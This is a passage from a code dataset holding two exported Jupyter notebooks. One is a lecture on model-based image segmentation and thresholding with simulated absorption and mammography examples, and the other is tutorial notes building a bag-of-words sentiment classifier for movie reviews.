method\n#\n\n# # Segmentation Approaches\n#\n#\n# They match up well to the world view / perspective\n#\n# ![Approaches](../common/figures/approaches.png)\n\n# ### Model-Based\n#\n# - $\\rightarrow$ Experimentalist\n# - Problem-driven\n#  - Top-down\n#  - _Reality_ Model-based\n#\n#\n# ### Machine Learning Approach\n#\n# - $\\rightarrow$ Computer Vision / Deep Learning\n# - Results-driven\n\n# # Model-based Analysis\n#\n# ![Traditional Imaging](../common/figures/image-formation.png)\n#\n# - Many different imaging modalities ( $\\mu \\textrm{CT}$ to MRI to Confocal to Light-field to AFM).\n# - Similarities in underlying equations\n#  - different coefficients, units, and mechanism\n#\n# $$ I_{measured}(\\vec{x}) = F_{system}(I_{stimulus}(\\vec{x}),S_{sample}(\\vec{x})) $$\n\n# # Direct Imaging (simple)\n#\n# In many setups there is un-even illumination caused by incorrectly adjusted equipment and fluctations in power and setups\n#\n# - $F_{system}(a,b) = a*b$\n# - $I_{stimulus} = \\textrm{Beam}_{profile}$\n# - $S_{system} = \\alpha(\\vec{x})$\n#\n# $\\longrightarrow \\alpha(\\vec{x})=\\frac{I_{measured}(\\vec{x})}{\\textrm{Beam}_{profile}(\\vec{x})}$\n#\n#\n\n# In[3]:\n\n\nfrom skimage.io import imread\nfrom skimage.color import rgb2gray\nimport matplotlib.pyplot as plt\nfrom skimage.morphology import disk\nfrom scipy.ndimage import zoom\nimport numpy as np\n\ncell_img = 1 - rgb2gray(imread(\"../common/figures/Average_prokaryote_cell.jpg\"))\ns_beam_img = np.pad(\n    disk(2) / 1.0, [[1, 1], [1, 1]], mode=\"constant\", constant_values=0.2\n)\nbeam_img = zoom(s_beam_img, [cell_img.shape[0] / 7.0, cell_img.shape[1] / 7.0])\n\nfig, (ax_beam, ax_img, ax_det) = plt.subplots(1, 3, figsize=(12, 4))\n\nax_beam.imshow(beam_img, cmap=\"hot\")\nax_beam.set_title(\"Beam Profile\")\n\nax_img.imshow(cell_img, cmap=\"hot\")\nax_img.set_title(\"Sample Profile\")\n\nax_det.imshow(cell_img * beam_img, cmap=\"hot\")\nax_det.set_title(\"Detector\")\n\n\n# In[4]:\n\n\nfig, (ax_prof) = plt.subplots(1, 1, figsize=(12, 4))\n\nax_prof.plot(beam_img[beam_img.shape[0] // 2], label=\"Beam Profile\")\nax_prof.plot(cell_img[beam_img.shape[0] // 2], label=\"Sample Image\")\nax_prof.plot((cell_img * beam_img)[beam_img.shape[0] // 2], label=\"Detector\")\nax_prof.set_ylabel(\"Intensity\")\nax_prof.set_xlabel(\"Pixel Position\")\n# make an interactive plot\nimport plotly.offline as py\nimport plotly.tools as tls\n\npy.init_notebook_mode()\npy.iplot(tls.mpl_to_plotly(fig))\n\n\n# Frequently there is a fall-off of the beam away from the center (as is the case of a Gaussian beam which frequently shows up for laser systems). This can make extracting detail away from the center challenging\n\n# In[5]:\n\n\nfig, ax1 = plt.subplots(1, 1, figsize=(8, 8))\nax1.matshow(cell_img * beam_img, cmap=\"hot\")\n\n\n# # Absorption Imaging (X-ray, Ultrasound, Optical)\n#\n# - For absorption/attenuation imaging $\\rightarrow$ [Beer-Lambert Law](http://en.wikipedia.org/wiki/Attenuation_coefficient)\n#  $$ I_{detector} = \\underbrace{I_{source}}_{I_{stimulus}}\\underbrace{\\exp(-\\alpha d)}_{S_{sample}} $$\n#  - Different components have a different $\\alpha$ based on the strength of the interaction between the light and the chemical / nuclear structure of the material\n# $$ I_{sample}(x,y) = I_{source}\\exp(-\\alpha(x,y) d) $$\n# $$ \\alpha = f(N,Z,\\sigma,\\cdots) $$\n#\n# - For segmentation this model is:\n#  - there are 2 (or more) distinct components that make up the image\n#  - these components are distinguishable by their values (or vectors, colors, tensors, ...)\n#\n\n# In[6]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nI_source = 1.0\nd = 1.0\nalpha_1 = np.random.normal(1, 0.25, size=100)\nalpha_2 = np.random.normal(2, 0.25, size=100)\nalpha_3 = np.random.normal(3, 0.5, size=100)\n\nabs_df = pd.DataFrame(\n    [\n        dict(alpha=c_x, material=c_mat)\n        for c_vec, c_mat in zip(\n            [alpha_1, alpha_2, alpha_3], [\"material 1\", \"material 2\", \"material 3\"]\n        )\n        for c_x in c_vec\n    ]\n)\nabs_df[\"I_detector\"] = I_source * np.exp(-abs_df[\"alpha\"] * d)\n\nfig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize=(12, 8))\nfor c_mat, c_df in abs_df.groupby(\"material\"):\n    ax1.scatter(x=c_df[\"alpha\"], y=c_df[\"I_detector\"], label=c_mat)\n    ax3.hist(c_df[\"alpha\"], alpha=0.5, label=c_mat)\n    ax2.hist(c_df[\"I_detector\"], alpha=0.5, label=c_mat, orientation=\"horizontal\")\nax1.set_xlabel(\"$\\\\alpha(x,y)$\", fontsize=15)\nax1.set_ylabel(\"$I_{detector}$\", fontsize=18)\nax1.legend()\nax2.legend()\nax3.legend(loc=0)\n\nax4.axis(\"off\")\n\n\n# # Example Mammography\n# Mammographic imaging is an area where model-based absorption imaging is problematic. Even if we assume a constant illumination (_rarely_ the case),\n#\n# $$ I_{detector} = \\underbrace{I_{source}}_{I_{stimulus}}\\underbrace{\\exp(-\\alpha d)}_{S_{sample}} $$\n# $$ \\downarrow $$\n# $$ I_{detector} = \\exp(-\\alpha(x,y) d(x,y)) $$\n# $$ \\downarrow $$\n# $$ I_{detector} = \\exp(-\\int_{0}^{l}\\alpha(x,y, z) dz) $$\n#\n\n# Specifically the problem is related to the inability to separate the $\\alpha$ and $d$ terms. We model a basic breast volume as a half sphere with a constant absorption factor.\n#\n# $$\\alpha(x,y,z) = 1e-2$$\n#\n# The $\\int$ then turns into a $\\Sigma$ in discrete space\n\n# In[7]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage.morphology import ball\n\nbreast_mask = ball(50)[:, 50:]\n\n# just for 3d rendering, don't worry about it\nimport plotly.offline as py\nfrom plotly.figure_factory import create_trisurf\n\npy.init_notebook_mode()\nfrom skimage.measure import marching_cubes_lewiner\n\nvertices, simplices, _, _ = marching_cubes_lewiner(breast_mask > 0)\nx, y, z = zip(*vertices)\nfig = create_trisurf(\n    x=x, y=y, z=z, plot_edges=False, simplices=simplices, title=\"Breast Phantom\"\n)\npy.iplot(fig)\n\n\n# In[8]:\n\n\nbreast_alpha = 1e-2\nbreast_vol = breast_alpha * breast_mask\ni_detector = np.exp(-np.sum(breast_vol, 2))\n\nfig, (ax_hist, ax_breast) = plt.subplots(1, 2, figsize=(20, 8))\n\nb_img_obj = ax_breast.imshow(i_detector, cmap=\"bone_r\")\nplt.colorbar(b_img_obj)\n\nax_hist.hist(i_detector.flatten())\nax_hist.set_xlabel(\"$I_{detector}$\")\nax_hist.set_ylabel(\"Pixel Count\")\n\n\n# If we know that $\\alpha$ is constant we can reconstruct d from the image\n\n# In[9]:\n\n\nbreast_thickness = -np.log(i_detector) / breast_alpha\nfig, (ax_hist, ax_breast) = plt.subplots(1, 2, figsize=(12, 5))\n\nb_img_obj = ax_breast.imshow(breast_thickness, cmap=\"bone\")\nplt.colorbar(b_img_obj)\n\nax_hist.hist(breast_thickness.flatten())\nax_hist.set_xlabel(\"Breast Thickness ($d$)\\nIn Pixels\")\nax_hist.set_ylabel(\"Pixel Count\")\n\n\n# In[10]:\n\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure(figsize=(8, 4), dpi=200)\nax = fig.gca(projection=\"3d\")\n# Plot the surface.\nyy, xx = np.meshgrid(\n    np.linspace(0, 1, breast_thickness.shape[1]),\n    np.linspace(0, 1, breast_thickness.shape[0]),\n)\nsurf = ax.plot_surface(\n    xx, yy, breast_thickness, cmap=plt.cm.jet, linewidth=0, antialiased=False\n)\nax.view_init(elev=30, azim=45)\nax.set_zlabel(\"Breast Thickness\")\n\n\n# We run into problems when the $\\alpha$ is no longer constant. For example if we place a dark lump in the center of the breast. It is impossible to tell if the breast if thicker or if the lump inside is denser. For the lump below we can see on the individual slices of the sample that the lesion appears quite clearly and is very strangely shaped.\n\n# In[11]:\n\n\nbreast_vol = breast_alpha * breast_mask\nrenorm_slice = np.sum(breast_mask[10:40, 0:25], 2) / np.sum(breast_mask[30, 10])\nbreast_vol[10:40, 0:25] /= np.stack([renorm_slice] * breast_vol.shape[2], -1)\n\nfrom skimage.util import montage as montage2d\n\nfig, ax1 = plt.subplots(1, 1, figsize=(12, 12))\nax1.imshow(\n    montage2d(breast_vol.swapaxes(0, 2).swapaxes(1, 2)[::3]),\n    cmap=\"bone\",\n    vmin=breast_alpha * 0.8,\n    vmax=breast_alpha * 1.2,\n)\n\n\n# When we make the projection and apply Beer's Law we see that it appears as a relatively constant region in the image\n\n# In[12]:\n\n\ni_detector = np.exp(-np.sum(breast_vol, 2))\n\nfig, (ax_hist, ax_breast) = plt.subplots(1, 2, figsize=(20, 8))\n\nb_img_obj = ax_breast.imshow(i_detector, cmap=\"bone_r\")\nplt.colorbar(b_img_obj)\n\nax_hist.hist(i_detector.flatten())\nax_hist.set_xlabel(\"$I_{detector}$\")\nax_hist.set_ylabel(\"Pixel Count\")\n\n\n# And as a flat constant region in the thickness reconstruction. So we fundamentally from this single image cannot answer is the breast oddly shaped or does it have an possible tumor inside of it\n\n# In[13]:\n\n\nbreast_thickness = -np.log(i_detector) / 1e-2\nfig, (ax_hist, ax_breast) = plt.subplots(1, 2, figsize=(12, 5))\n\nb_img_obj = ax_breast.imshow(breast_thickness, cmap=\"bone\")\nplt.colorbar(b_img_obj)\n\nax_hist.hist(breast_thickness.flatten())\nax_hist.set_xlabel(\"Breast Thickness ($d$)\\nIn Pixels\")\nax_hist.set_ylabel(\"Pixel Count\")\n\n\n# In[14]:\n\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure(figsize=(8, 4), dpi=200)\nax = fig.gca(projection=\"3d\")\n# Plot the surface.\nyy, xx = np.meshgrid(\n    np.linspace(0, 1, breast_thickness.shape[1]),\n    np.linspace(0, 1, breast_thickness.shape[0]),\n)\nsurf = ax.plot_surface(\n    xx, yy, breast_thickness, cmap=plt.cm.jet, linewidth=0, antialiased=False\n)\nax.view_init(elev=30, azim=130)\nax.set_zlabel(\"Breast Thickness\")\n\n\n# # Where does segmentation get us?\n#\n#\n# - We convert a decimal value (or something even more complicated like 3 values for RGB images, a spectrum for hyperspectral imaging, or a vector / tensor in a mechanical stress field)\n# - to a single, discrete value (usually true or false, but for images with phases it would be each phase, e.g. bone, air, cellular tissue)\n#\n# - __2560 x 2560 x 2160 x 32 bit = 56GB / sample__\n# $$\\downarrow$$\n# - 2560 x 2560 x 2160 x **1 bit** = 1.75GB / sample\n#\n\n# # Applying a threshold to an image\n# Start out with a simple image of a cross with added noise\n# $$ I(x,y) = f(x,y) $$\n\n# In[15]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nnx = 5\nny = 5\nxx, yy = np.meshgrid(\n    np.arange(-nx, nx + 1) / nx * 2 * np.pi, np.arange(-ny, ny + 1) / ny * 2 * np.pi\n)\ncross_im = 1.5 * np.abs(np.cos(xx * yy)) / (\n    np.abs(xx * yy) + (3 * np.pi / nx)\n) + np.random.uniform(-0.25, 0.25, size=xx.shape)\nplt.matshow(cross_im, cmap=\"hot\")\nplt.colorbar()\n\n\n# The intensity can be described with a probability density function\n# $$ P_f(x,y) $$\n\n# In[16]:\n\n\nfig, ax1 = plt.subplots(1, 1)\nax1.hist(cross_im.ravel(), 20)\nax1.set_title(\"$P_f(x,y)$\")\nax1.set_xlabel(\"Intensity\")\nax1.set_ylabel(\"Pixel Count\")\n\n\n# # Applying a threshold to an image\n#\n# By examining the image and probability distribution function, we can _deduce_ that the underyling model is a whitish phase that makes up the cross and the darkish background\n#\n# Applying the threshold is a deceptively simple operation\n#\n# $$ I(x,y) =\n# \\begin{cases}\n# 1, & f(x,y)\\geq0.40 \\\\\n# 0, & f(x,y)<0.40\n# \\end{cases}$$\n\n# In[17]:\n\n\nfig, ax1 = plt.subplots(1, 1)\nax1.imshow(cross_im, cmap=\"hot\", extent=[xx.min(), xx.max(), yy.min(), yy.max()])\nthresh_img = cross_im > 0.4\n\nax1.plot(\n    xx[np.where(thresh_img)],\n    yy[np.where(thresh_img)],\n    \"ks\",\n    markerfacecolor=\"green\",\n    alpha=0.5,\n    label=\"threshold\",\n    markersize=20,\n)\nax1.legend()\n\n\n# # Various Thresholds\n# We can see the effect of choosing various thresholds\n#\n\n# In[18]:\n\n\nfig, m_axs = plt.subplots(3, 3, figsize=(15, 15))\nfor c_thresh, ax1 in zip(np.linspace(0.1, 0.9, 9), m_axs.flatten()):\n\n    ax1.imshow(cross_im, cmap=\"bone\", extent=[xx.min(), xx.max(), yy.min(), yy.max()])\n    thresh_img = cross_im > c_thresh\n\n    ax1.plot(\n        xx[np.where(thresh_img)],\n        yy[np.where(thresh_img)],\n        \"rs\",\n        alpha=0.5,\n        label=\"img>%2.2f\" % c_thresh,\n        markersize=20,\n    )\n    ax1.legend(loc=1)\n\n\n# # Segmenting Cells\n#\n# - We can peform the same sort of analysis with this image of cells\n# - This time we can derive the model from the basic physics of the system\n#  - The field is illuminated by white light of nearly uniform brightness\n#  - Cells absorb light causing darker regions to appear in the image\n#  - _Lighter_ regions have no cells\n#  - __Darker__ regions have cells\n\n# In[19]:\n\n\nfrom skimage.io import imread\nfrom skimage.color import rgb2gray\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ncell_img = rgb2gray(imread(\"../common/figures/Cell_Colony.jpg\"))\nfig, (ax_hist, ax_img) = plt.subplots(1, 2, figsize=(12, 6))\nax_hist.hist(cell_img.ravel(), np.arange(255))\nax_obj = ax_img.matshow(cell_img, cmap=\"bone\")\nplt.colorbar(ax_obj)\n\n\n# In[20]:\n\n\nfrom skimage.color import label2rgb\n\nfig, m_axs = plt.subplots(3, 3, figsize=(15, 15), dpi=200)\nfor c_thresh, ax1 in zip(np.linspace(100, 200, 9), m_axs.flatten()):\n    thresh_img = cell_img < c_thresh\n\n    ax1.imshow(label2rgb(thresh_img, image=1 - cell_img, bg_label=0, alpha=0.4))\n\n    ax1.set_title(\"img<%2.2f\" % c_thresh)\n\n\n# # Other Image Types\n#\n# While scalar images are easiest, it is possible for any type of image\n# $$ I(x,y) = \\vec{f}(x,y) $$\n\n# In[21]:\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nnx = 10\nny = 10\nxx, yy = np.meshgrid(\n    np.linspace(-2 * np.pi, 2 * np.pi, nx), np.linspace(-2 * np.pi, 2 * np.pi, ny)\n)\n\nintensity_img = 1.5 * np.abs(np.cos(xx * yy)) / (\n    np.abs(xx * yy) + (3 * np.pi / nx)\n) + np.random.uniform(-0.25, 0.25, size=xx.shape)\n\nbase_df = pd.DataFrame(\n    dict(x=xx.ravel(), y=yy.ravel(), I_detector=intensity_img.ravel())\n)\n\nbase_df[\"x_vec\"] = base_df.apply(\n    lambda c_row: c_row[\"x\"]\n    / np.sqrt(1e-2 + np.square(c_row[\"x\"]) + np.square(c_row[\"y\"])),\n    1,\n)\nbase_df[\"y_vec\"] = base_df.apply(\n    lambda c_row: c_row[\"y\"]\n    / np.sqrt(1e-2 + np.square(c_row[\"x\"]) + np.square(c_row[\"y\"])),\n    1,\n)\n\nbase_df.head(5)\n\n\n# In[22]:\n\n\nimport seaborn as sns\n\nsns.pairplot(base_df)\n\n\n# In[23]:\n\n\nfig, ax1 = plt.subplots(1, 1, figsize=(8, 8))\nax1.quiver(\n    base_df[\"x\"],\n    base_df[\"y\"],\n    base_df[\"x_vec\"],\n    base_df[\"y_vec\"],\n    base_df[\"I_detector\"],\n    cmap=\"hot\",\n)\n\n\n# # Applying a threshold\n#\n# A threshold is now more difficult to apply since there are now two distinct variables to deal with. The standard approach can be applied to both\n# $$ I(x,y) =\n# \\begin{cases}\n# 1, & \\vec{f}_x(x,y) \\geq0.25 \\text{ and}\\\\\n# & \\vec{f}_y(x,y) \\geq0.25 \\\\\n# 0, & \\text{otherwise}\n# \\end{cases}$$\n\n# In[24]:\n\n\nthresh_df = base_df.copy()\nthresh_df[\"thresh\"] = thresh_df.apply(\n    lambda c_row: c_row[\"x_vec\"] > 0.25 and c_row[\"y_vec\"] > 0.25, 1\n)\n\nfig, ax1 = plt.subplots(1, 1, figsize=(8, 8))\nax1.quiver(\n    thresh_df[\"x\"],\n    thresh_df[\"y\"],\n    thresh_df[\"x_vec\"],\n    thresh_df[\"y_vec\"],\n    thresh_df[\"thresh\"],\n    cmap=\"hot\",\n)\n\n\n# This can also be shown on the joint probability distribution as\n\n# In[25]:\n\n\nfig, ax1 = plt.subplots(1, 1, figsize=(4, 4), dpi=200)\nax1.hist2d(thresh_df[\"x_vec\"], thresh_df[\"y_vec\"], cmap=\"hot\")\nax1.set_xlabel(\"$\\\\vec{f}_x(x,y)$\")\nax1.set_ylabel(\"$\\\\vec{f}_y(x,y)$\")\n\n\n# # Applying a threshold\n# Given the presence of two variables; however, more advanced approaches can also be investigated. For example we can keep only components parallel to the x axis by using the dot product.\n# $$ I(x,y) =\n# \\begin{cases}\n# 1, & |\\vec{f}(x,y)\\cdot \\vec{i}| = 1 \\\\\n# 0, & \\text{otherwise}\n# \\end{cases}$$\n\n# # Looking at Orientations\n# We can tune the angular acceptance by using the fact $$\\vec{x}\\cdot\\vec{y}=|\\vec{x}| |\\vec{y}| \\cos(\\theta_{x\\rightarrow y}) $$\n# $$ I(x,y) =\n# \\begin{cases}\n# 1, & \\cos^{-1}(\\vec{f}(x,y)\\cdot \\vec{i}) \\leq \\theta^{\\circ} \\\\\n# 0, & \\text{otherwise}\n# \\end{cases}$$\n", "meta": {"hexsha": "4860374ff94fe108570b8f6018940558ef2350f6", "size": 20374, "ext": "py", "lang": "Python", "max_stars_repo_path": "Lectures/04-BasicSegmentation.py", "max_stars_repo_name": "kmader/qbi-2019-py", "max_stars_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-11-06T16:20:50.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-11T03:38:02.000Z", "max_issues_repo_path": "Lectures/04-BasicSegmentation.py", "max_issues_repo_name": "kmader/qbi-2019-py", "max_issues_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2019-11-06T16:41:39.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-07T13:02:17.000Z", "max_forks_repo_path": "Lectures/04-BasicSegmentation.py", "max_forks_repo_name": "kmader/qbi-2019-py", "max_forks_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-09T10:43:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-09T10:43:55.000Z", "avg_line_length": 28.6151685393, "max_line_length": 348, "alphanum_fraction": 0.6891135761, "include": true, "reason": "import numpy,from scipy", "num_tokens": 6163, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.18476751289253923, "lm_q1q2_score": 0.08374806434687902}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Sentiment Analysis end-to-end example\n# \n# This example is brought to you by Udacity - consider doing the great Udacity Deep Learning course. Find out more [here](https://www.udacity.com/course/deep-learning-nanodegree--nd101). \n# \n# > These are my own personal notes\n# \n# ----\n\n# In this notebook, the aium is to build `TODO`\n# \n# We begin by looking at the dataset we have:\n# - reviews.txt: reviews of a movie\n# - labels.txt: positive/negative label associated with the movie \n# \n# We will use the python `open()` function to open the file, with the parameter `'r'` to read the file. Using `readlines` will return a list made up of each line in the file, returned as a list item. Hence, each character will be an item in the list. \n\n# In[1]:\n\n\nreview_file = open('sentiment_data/reviews.txt', 'r')\nreviews = list(map(lambda x : x[:-1], review_file.readlines()))\nreview_file.close()\n\nlabel_file = open('sentiment_data/labels.txt', 'r')\nlabels = list(map(lambda x : x[:-1].upper(), label_file.readlines()))\nlabel_file.close()\n\n\n# Now lets find some information out about our data.\n\n# In[2]:\n\n\nprint(f'Size of our data: {len(reviews)}')\nprint(f'No of labels: {len(labels)}')\nprint('\\nNow, lets see one row of our data. First feature in our data:')\nprint(reviews[0])\nprint('\\nPrediction:')\nprint(labels[0])\n\n\n# ---\n\n# ## Now, lets build up a hypothesis\n# \n# We will begin by looking at our data, and trying to see what conclusions we can draw. This is ofter called the `exploratory` phase. We will begin by looking at some random predictions...\n\n# In[3]:\n\n\ndef print_review_with_label(ith_row):\n    print(labels[ith_row] + '\\t:\\t' + reviews[ith_row][:80] + '...')\n\n\n# Using the function above, we can beautifully print our data; feature along with its prediction.\n\n# In[4]:\n\n\nprint(\"labels.txt \\t : \\t reviews.txt\\n\")\nprint_review_with_label(2137)\nprint_review_with_label(12816)\nprint_review_with_label(6267)\nprint_review_with_label(21934)\n\n\n# We will be using the `Counter` python class throughout this section, as it provides a nice way to count the occurances of words. \n\n# In[5]:\n\n\nfrom collections import Counter\nimport numpy as np \n\n\n# In[6]:\n\n\npositive_words_counter = Counter()\nnegative_words_counter = Counter()\ntotal_words_counter = Counter()\nexample_counter_with_stuff = Counter([1,2,3,4,4,4])\n\ndef counter_pretty_print():\n    print('positive counter: ', positive_words_counter)\n    print('negative counter: ', negative_words_counter)\n    print('total words counter: ', total_words_counter)\n\nprint('At this stage, our counters are empty...')\ncounter_pretty_print()\nprint('Here is a test counter: ', example_counter_with_stuff)\n\n\n# Now, lets fill out our three counters.\n\n# In[7]:\n\n\n# for each row in our dataset\nfor sentence_no in range(len(reviews)):\n   # for each word in our sentence\n   for word in reviews[sentence_no].split(' '):\n       # if it is positive - add a positive counter\n       if labels[sentence_no] == 'POSITIVE':\n           positive_words_counter[word] +=1\n       # if it is negative - add to negative counter\n       if labels[sentence_no] == 'NEGATIVE':\n           negative_words_counter[word] +=1\n       # regardless, add to total word counter\n       total_words_counter[word] +=1\n\n\n# In[8]:\n\n\n# lets take a look at the most common words.\nprint('Most common positive words:\\n')\npositive_words_counter.most_common()\n\n\n# In[9]:\n\n\n# lets take a look at the most common words.\nprint('\\nMost common negative words:\\n')\nnegative_words_counter.most_common()\n\n\n# Instead of looking at the counts of the words, lets now instead look at the ratios between words. Looking at how often words occur, either positive or negative, does not really give us what we are looking for. e.g. you can see there are a lot of common words between both the positive and negative counters. Instead, by looking at a raio, we will be looking at the words that are found in positive reviews over negative, and vice versa. \n# \n# This will basically tell us how many more times a word is seen in positive reviews than in the negatives. e.g. we can imagine that positive reviews use the word \"love\" more, hence the ratio should be larger. Hence:\n# - Positive words will have a large ratio - bigger than 1\n# - Negative words will have a smaller ratio - less than 1\n# - words that are neither positive or negative, but neutral, will be centered around 0\n\n# In[10]:\n\n\npositive_to_negative_ratio = Counter()\n\nfor word, count, in list(total_words_counter.most_common()):\n    if count > 100:\n        positive_to_negative_ratio[word] = positive_words_counter[word] / (negative_words_counter[word] + 1) # +1 so we dont divide by 0\n\n\n# Now, lets take a look at some words...\n\n# In[11]:\n\n\nprint(f'positive:negative ratio for the word and: {round(positive_to_negative_ratio[\"and\"],2)}')\nprint(f'positive:negative ratio for the word good: {round(positive_to_negative_ratio[\"best\"],2)}')\nprint(f'positive:negative ratio for the word bad: {round(positive_to_negative_ratio[\"bad\"],2)}')\n\n\n# Okay, but is a score of 2 twice as good as other scores? With the ratios as they are now, it will be difficult to actually compare the scores. So instead, we will do what every computer scientists loves to do, which is to log the numbers.\n# \n# To find out more about why computer scientists love log, feel free to watch the series by Killian Weiberger on Machine Learning [here](https://www.youtube.com/watch?v=MrLPzBxG95I&list=PLl8OlHZGYOQ7bkVbuRthEsaLr7bONzbXS)\n\n# In[12]:\n\n\nfor word, count in positive_to_negative_ratio.most_common():\n    positive_to_negative_ratio[word] = np.log(count)\n\n\n# Now, lets take a look at the log(words)...\n\n# In[13]:\n\n\nprint(f'positive:negative ratio for the word and: {round(positive_to_negative_ratio[\"and\"],2)}')\nprint(f'positive:negative ratio for the word good: {round(positive_to_negative_ratio[\"best\"],2)}')\nprint(f'positive:negative ratio for the word bad: {round(positive_to_negative_ratio[\"bad\"],2)}')\n\n\n# You can see now that:\n# - positive words are close to +1\n# - negative words are close to -1\n# - neutral words are centered around 0\n# \n# Now, to close our hypothesis section where we wanted to draw a hypothesis from the data, we will take a peek at our ratio data.\n\n# In[14]:\n\n\npositive_to_negative_ratio.most_common()[0:20]\n\n\n# As we expected, some positive words like `flawless` and `perfection` have high scores....but also `lincoln`. Interesting.\n\n# In[15]:\n\n\nlist(reversed(positive_to_negative_ratio.most_common()))[0:20]\n\n\n# There are some funny negative words, including `lousy` and `unwatcheable`. But again, some interesting words like `prom`.\n\n# ## Transforming words into numbers\n# \n# we now need to prerpare our words so that we can feed them into our neural network. In order to do that, we want to transform them so we can do the maths of neural networks.\n# \n# What we want to do for our network, is build a dictionary. With this dictionary, we will count each word in our input review, and feed that into the network.\n# \n# As we have already built a Count object that has every word possible from our training data, we are able to now compare each single review from our dataset, and see how often each word occurs per review. This will allow us to feed our reviews into the network whilst maintaining consistency between inputs.\n# \n# We will begin by building a `vocab`, a set that contains all the words.\n\n# In[16]:\n\n\nvocab = set(total_words_counter.keys())\n\n\n# Vocab is s Set, similar to the mathematical set. This means that it only has each word appearing only once. \n# \n# Now, lets take a look at how our Neural network will look. \n# \n# ![image of our neural network](sentiment_network.png)\n# \n# You can see that our NN will have:\n# - one input layer: \n#     - This will be the Vocab\n#     - we will represent this as a np array\n# - one hidden layer\n# - one output layer that has one output neuron\n\n# In[17]:\n\n\nlayer_0 = np.zeros(shape=(1,len(vocab)))\n\n\n# lets take a look at the first layer...\n\n# In[18]:\n\n\nlayer_0.shape\n\n\n# This first layer now has a neuron/input per word from our vocab. With the input being a count of how many times the word occurs in the review. However, to pass words from a review into this first layer, we need to be able to build a way that will allow us to feed a new review in with the words organised the same way as the first layer in our network.\n\n# In[19]:\n\n\nword_to_index_translator = {}\n# lets map each word in our vocab to an index, and capture that as a dictionary\nfor index, word in enumerate(vocab):\n    word_to_index_translator[word] = index\n\n# lets temporarily use a Counter object to look at the first few rows in our dictionary\nCounter(word_to_index_translator).most_common(5)\n\n\n# now, lets build a function that can take a new review, and spit out a vector that matches the input layer.\n\n# In[20]:\n\n\ndef input_for_input_layer(review):\n    ''' New input layer, layer_0, for our network to train on.\n\n    layer_0 represents how many times a word occurs in a review.\n\n    Args:\n        review (str) : a review for a movie\n    Returns:\n        None\n    '''\n    global layer_0\n    # clear out previous layer 0\n    layer_0 *=0\n    for word in review.split(' '):\n        # find index location of the word from our vocab\n        index_of_word = word_to_index_translator[word]\n        # add it to our layer 0\n        layer_0[:, index_of_word] += 1\n\n\n# Lets test this by feeding it a review.\n# Before we test it, lets look at layer_0\n\n# In[21]:\n\n\nlayer_0\n\n\n# In[22]:\n\n\ninput_for_input_layer(reviews[200])\nlayer_0\n\n\n# Great, it has updated layer_0.\n# \n# Now, we will build a function that can take a label (e.g. POSITIVE or NEGATIVE), and return either 1 or 0. This is needed as our network needs to be built ontop of numbers, and not strings.\n\n# In[23]:\n\n\ndef translate_label(label):\n    '''Converts label to 0 or 1.\n\n    Args:\n        label (str) : POSITIVE or NEGATIVE label for a review\n    RETURNS:\n        0 : if negative\n        1 : if positive\n    '''\n    if label == 'POSITIVE':\n        return 1\n    else:\n        return 0\n\n\n# again, lets test this by running a label into our function.\n\n# In[24]:\n\n\nprint(f'testing +ve label: {labels[200]}')\nprint(f'This is the output from our function: {translate_label(labels[200])}')\nprint(f'\\ntesting -ve label: {labels[1]}')\nprint(f'This is the output from our function: {translate_label(labels[1])}')\n\n\n# Great, so it works.\n# \n# Now it is finally time to build our Neural Network!\n# \n# We will:\n# - build a basic neural network that has an input layer, hidden layer and an output layer\n# - we will not be adding non-linearity in our hidden layer\n# - we will use the same functions we defined above, to build up our training data set\n# - we will create a vocab from our training data\n# - we will train over the entire corpus\n\n# In[25]:\n\n\nimport sentiment_network\nimport importlib\nimportlib.reload(sentiment_network)\n\n\n# In[113]:\n\n\nmlp = sentiment_network.SentimentNetwork(reviews[:-1000],labels[:-1000], learning_rate=0.1)\n\n\n# In[114]:\n\n\nmlp.test(reviews[-1000:],labels[-1000:])\n\n\n# In[115]:\n\n\nmlp.train(reviews[:-1000],labels[:-1000])\n\n\n# In[130]:\n\n\nmlp2 = sentiment_network.SentimentNetwork(reviews[:-1000],labels[:-1000], learning_rate=0.001)\nmlp2.train(reviews[:-1000],labels[:-1000])\n\n", "meta": {"hexsha": "fca35cc28e76750845664389457b6df73672df9f", "size": 11258, "ext": "py", "lang": "Python", "max_stars_repo_path": "abdis_machine_learning_handbook/_build/jupyter_execute/4_1_dl_basics_implementations/sentiment_analysis.py", "max_stars_repo_name": "abditimer/abdis_machine_learning_handbook", "max_stars_repo_head_hexsha": "da7009a3a16870b7c23a13db74b301afb3290f08", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "abdis_machine_learning_handbook/_build/jupyter_execute/4_1_dl_basics_implementations/sentiment_analysis.py", "max_issues_repo_name": "abditimer/abdis_machine_learning_handbook", "max_issues_repo_head_hexsha": "da7009a3a16870b7c23a13db74b301afb3290f08", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, 